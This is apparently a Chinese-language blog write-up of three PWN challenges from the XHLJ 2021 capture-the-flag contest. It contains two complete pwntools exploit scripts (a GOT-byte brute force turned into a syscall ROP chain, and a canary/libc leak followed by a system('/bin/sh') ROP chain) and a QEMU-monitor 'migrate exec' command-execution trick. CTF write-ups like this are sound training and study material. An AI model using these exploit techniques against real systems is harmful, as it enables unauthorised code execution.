Logo xia0o0o0o

西湖论剑2021 PWN

November 22, 2021
3 min read
Table of Contents

XHLJ 2021 PWN

Blind

分析的时候完全想岔了,往dl resolve的方向做了结果完全做不出来()

考虑alarm(),有一个特点

gef➤  x/32i alarm
=> 0x7ffff7eb5d90 <alarm>:	mov    eax,0x25
   0x7ffff7eb5d95 <alarm+5>:	syscall 
   0x7ffff7eb5d97 <alarm+7>:	cmp    rax,0xfffffffffffff001

第二条指令就是syscall,所以我们可以爆破最后一个字节,有256种可能,成功即可直接用GOT表跳转到syscall,然后,又可以利用read()的返回值是写入的字节数来控制rax寄存器,这样就能实现任意syscall了,剩下的内容都很容易,给的栈溢出空间很多,很容易构造 ROP Chain

from pwn import *
 
sh = process('./blind')
# sh = remote('82.157.6.165', 59900)
elf = ELF('./blind')
 
pop_rsi_r15_ret = 0x00000000004007c1
pop_rdi_ret = 0x00000000004007c3
call_read = 0x40074C
pop_rbx_rbp_r12_r13_r14_r15 = 0x4007BA
 
offset = 0x50
 
log.info('bss_addr: ' + hex(elf.bss()))
log.info('alarm got: ' + hex(elf.got['alarm']))
log.info('alarm plt: ' + hex(elf.plt['alarm']))
 
payload = b'A'*offset
payload += p64(0xdeadbeef)
 
payload += p64(pop_rsi_r15_ret)
payload += p64(elf.bss()+0x100)
payload += p64(0xdeadbeef)              # read /bin/sh
payload += p64(elf.plt['read'])
 
payload += p64(pop_rsi_r15_ret)
payload += p64(elf.got['alarm'])        # alarm -> syscall
payload += p64(0xdeadbeef)  
payload += p64(elf.plt['read'])
 
payload += p64(pop_rsi_r15_ret)
payload += p64(elf.bss()+0x150)         # read 0x3b
payload += p64(0xdeadbeef)
payload += p64(elf.plt['read'])
 
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) # ret2init
payload += p64(0)
payload += p64(0)
payload += p64(elf.got['alarm'])            # call alarm()
payload += p64(0)
payload += p64(0)
payload += p64(elf.bss()+0x100)
 
payload += p64(0x4007A0)
 
payload += p64(pop_rdi_ret)
payload += p64(elf.bss()+0x100)
 
payload += p64(elf.plt['alarm'])
 
sleep(3)
sh.sendline(payload)
 
sleep(0.5)
sh.sendline(b'/bin/sh\x00')
 
sleep(0.5)
sh.send(b'\xFF')    # brute force
 
sleep(0.5)
sh.send(b'a'*0x3b)
 
sleep(0.5)
 
sh.sendline(b'uname -a')
 
sh.interactive()

easykernel

不知道是有意的还是疏忽,start.sh里没有重定向monitor…也就是说直接ctrl A C就能进入qemu monitor,然后直接挂载rootfs.img读flag就完事了()用migrate exec基本什么操作都可以做了,需要重定向一下输出。

(qemu) migrate "exec:ls -al 1>&2"
total 12168
drwx------ 2 kali kali    4096 Nov 23 11:25 .

string_go

__int64 __fastcall lative_func(__int64 a1)
{
  bool v1; // al
  __int64 v2; // rax
  size_t v3; // r12
  const void *v4; // rbx
  void *v5; // rax
  int v7; // [rsp+1Ch] [rbp-A4h]
  char v8; // [rsp+20h] [rbp-A0h]
  char v9; // [rsp+40h] [rbp-80h]
  char v10; // [rsp+60h] [rbp-60h]
  char v11; // [rsp+80h] [rbp-40h]
  unsigned __int64 v12; // [rsp+A8h] [rbp-18h]
 
  v12 = __readfsqword(0x28u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v9);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v10);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v11);
  std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
  std::istream::operator>>(&std::cin, &v7);
  split((__int64)&v8, (__int64)&v10);
  v1 = !std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>::size(&v8)
    && v7 <= 7;
  if ( v1 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
    std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v10);
    std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
    v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v10, v7);
    std::operator>><char,std::char_traits<char>>(&std::cin, v2);
  }
  std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, &v10);
  std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9);
  v3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&v9, &v9);
  v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v9);
  v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v11);
  memcpy(v5, v4, v3);
  std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>::~vector(&v8);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v11);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v10);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v9);
  return a1;
}

注意

    v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v10, v7);

中的v7是可以被控制的,对于一个小字符串,std::string会把内容也存在栈上,如果v7是负数,就可以修改掉std::string结构体的size,在后面std::cout的时候泄漏出栈上的内容,可以得到canary,同时,也可以得到返回__libc_start_main的地址,这就可以泄漏出libc的基址了。

  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9);
  n_bytes = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&v9, &v9);
  v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v9);
  v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v11);
  memcpy(v5, v4, n_bytes);

最后这部分中的n_bytes,v4都可以控制,v5在栈上,通过后面的memcpy完成ROP

from pwn import *
from time import sleep
 
sh = process('string_go')
 
#gdb.attach(sh)
 
#input()
sh.recvuntil(b'>>> ')
sh.sendline(b'1+1+1')
sh.recvuntil(b'>>> ')
sh.sendline(b'-1')
sh.recvuntil(b'>>> ')
sh.sendline(b'\x01')
sh.recvuntil(b'>>> ')
sh.sendline(b'1')
sleep(0.5)
for i in range(7):
    r = sh.recv(8)
 
r = sh.recv(8)
canary = u64(r.ljust(8, b'\x00'))
log.success('canary: ' + hex(canary))
sh.recv(3*0x8)
ret = sh.recv(8)
ret = u64(ret.ljust(8, b'\x00'))
log.success('ret: ' + hex(ret))
pie = ret - 0x254D
log.success('pie: ' + hex(pie))
sh.recv(19*0x8)
ret_addr_libc = sh.recv(8)
ret_addr_libc = u64(ret_addr_libc.ljust(8, b'\x00'))
log.success('ret_addr_libc: ' + hex(ret_addr_libc))
libc_base = ret_addr_libc - 0x1e4a
log.success('libc_base: ' + hex(libc_base))
 
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
shaddr = libc_base + next(libc.search(b'/bin/sh'))
systemaddr = libc.symbols['system'] + libc_base
 
log.info('sh: ' + hex(shaddr))
log.info('system: ' + hex(systemaddr))
 
sleep(3)
 
payload = p64(canary) * 7
payload += p64(pie+0x3cf3)
payload += p64(shaddr) 
payload += p64(systemaddr)
sh.sendline(payload)
 
sh.interactive()